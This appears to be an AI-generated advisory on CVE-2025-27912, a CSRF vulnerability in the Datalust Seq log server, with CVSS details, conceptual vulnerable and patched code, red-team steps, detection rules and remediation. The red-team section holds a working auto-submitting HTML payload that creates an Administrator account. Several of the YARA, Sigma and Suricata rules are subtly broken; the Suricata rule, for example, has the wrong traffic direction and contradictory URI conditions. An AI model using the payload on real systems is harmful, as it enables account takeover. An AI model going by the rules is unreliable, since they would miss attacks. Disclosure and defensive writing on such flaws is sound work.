CVE-2025-27912

Executive Summary

CVE-2025-27912 is a high-severity Cross-Site Request Forgery (CSRF) vulnerability in Datalust Seq, a popular structured log server. The vulnerability arises from missing Content-Type validation in HTTP requests, allowing an attacker to craft malicious requests that are executed in the context of an authenticated user. The attack vector differs based on the authentication method in use: for Entra ID or OpenID Connect, any malicious site can trigger the CSRF; for username/password or Active Directory, the attacker must control a site under the same effective top-level domain (eTLD+1) as the Seq server. Successful exploitation enables impersonation attacks, allowing the attacker to perform any action the victim is authorized to do within Seq, including reading logs, modifying configurations, or creating new users. The CVSS score is 8.8 (High), and while no public exploit code is available, the vulnerability is considered easily exploitable due to the lack of CSRF protections.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a self-hosted server application. Organizations using Datalust Seq should treat this as a critical supply chain risk, as an attacker could compromise log data integrity and confidentiality.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the CSRF.
• User Interaction (UI): Required (R) – Victim must visit a malicious site.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker’s target are the same.
• Confidentiality (C): High (H) – Full read access to logs and configurations.
• Integrity (I): High (H) – Ability to modify configurations, delete logs, or create users.
• Availability (A): High (H) – Potential to disrupt logging services.

Threat Level: Critical for environments where Seq is exposed to the internet or where users access it from untrusted networks. The lack of public exploit code reduces immediate risk, but the vulnerability is trivial to exploit once understood.

Deep Dive & Mechanics

The root cause is the absence of Content-Type validation in HTTP request handling. In a typical CSRF attack, the attacker tricks the victim’s browser into sending a forged request to the target application. Modern CSRF protections often rely on checking the Content-Type header (e.g., requiring application/json for state-changing requests) or using anti-CSRF tokens. Seq fails to enforce such checks.

Attack Scenarios:

1. Entra ID / OpenID Connect: The attacker hosts a malicious website. When an authenticated Seq user visits it, the site automatically submits a form or uses JavaScript to send a cross-origin request to the Seq server. Since Seq does not validate the Content-Type, the request is processed as if it came from the legitimate user.
2. Username/Password or Active Directory: The attacker must control a site under the same eTLD+1 (e.g., evil.example.com if Seq is at seq.example.com). This is due to same-origin policy restrictions on cookie-based authentication. The attacker can then perform CSRF by embedding a form or image tag that triggers a state-changing request.

Impact: The attacker can perform any action the victim can, including:

• Reading sensitive log data (e.g., passwords, API keys).
• Modifying Seq configurations (e.g., changing retention policies).
• Creating new users with elevated privileges.
• Deleting logs to cover tracks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

[HttpPost]
public IActionResult UpdateConfiguration(ConfigurationModel model)
{
    // No CSRF token validation
    // No Content-Type check
    _configService.Update(model);
    return Ok();
}

Patched Code (Conceptual):

[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult UpdateConfiguration(ConfigurationModel model)
{
    // CSRF token validated
    // Additionally, enforce Content-Type: application/json for API endpoints
    if (!Request.ContentType.StartsWith("application/json"))
        return BadRequest("Invalid Content-Type");
    _configService.Update(model);
    return Ok();
}

The patch (version 2024.3.13545) introduces proper CSRF token validation and/or Content-Type enforcement for all state-changing requests.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target Seq server running version < 2024.3.13545.
• A victim authenticated to Seq (via any supported method).
• For Entra ID/OpenID: Any external website.
• For username/password/AD: A website under the same eTLD+1.

Exploitation Steps:

1. Craft a malicious HTML page that sends a POST request to the Seq server. For example, to create a new admin user:

<html>
<body>
<form action="https://seq.target.com/api/users" method="POST">
  <input type="hidden" name="username" value="attacker" />
  <input type="hidden" name="password" value="P@ssw0rd!" />
  <input type="hidden" name="role" value="Administrator" />
  <input type="submit" value="Click me" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

2. Host the page on a server you control (or on a same-eTLD+1 site for cookie-based auth).
3. Lure the victim to visit the page (e.g., via phishing email).
4. The request is executed in the victim’s session, creating a new admin user.

Note: No public exploit code exists, but the above is a standard CSRF payload.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to Seq API endpoints (e.g., /api/users, /api/config) from external referrers.
• Look for multiple failed login attempts followed by successful admin creation from a single IP.
• Use the detection rules below.

Defense:

• Immediately upgrade to Seq 2024.3.13545 or later.
• If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to enforce CSRF tokens or Content-Type checks.
• Restrict network access to Seq to trusted IPs only.
• Enable multi-factor authentication (MFA) for all users.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/users, /api/config, or /api/settings with Referer header pointing to an external domain.
• Logs: Seq audit logs showing user creation or configuration changes from unexpected IPs.
• File: No specific file-based IOCs.
• Registry: N/A.

Detection Engineering

YARA Rule

rule CVE_2025_27912_CSRF_Seq {
    meta:
        description = "Detects CSRF attempts against Datalust Seq"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27912"
    strings:
        $s1 = "/api/users" ascii wide nocase
        $s2 = "/api/config" ascii wide nocase
        $s3 = "POST" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-27912 - CSRF Against Datalust Seq
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential CSRF attacks targeting Datalust Seq API endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/api/users'
            - '/api/config'
            - '/api/settings'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27912 - CSRF Against Datalust Seq"; flow:to_server,established; content:"POST"; http_method; content:"/api/users"; http_uri; nocase; content:"/api/config"; http_uri; nocase; content:"/api/settings"; http_uri; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Datalust Seq version 2024.3.13545 or later.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests without a valid CSRF token or with unexpected Content-Type.
3. Restrict network access to Seq to trusted IPs only (e.g., VPN, internal network).
4. Enable audit logging and monitor for suspicious activity.

Long-term Measures:

• Adopt a security-by-design approach: always implement CSRF tokens for state-changing requests.
• Regularly review and update authentication mechanisms.
• Conduct penetration testing focusing on CSRF and other client-side attacks.

Valters IT Signature

Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.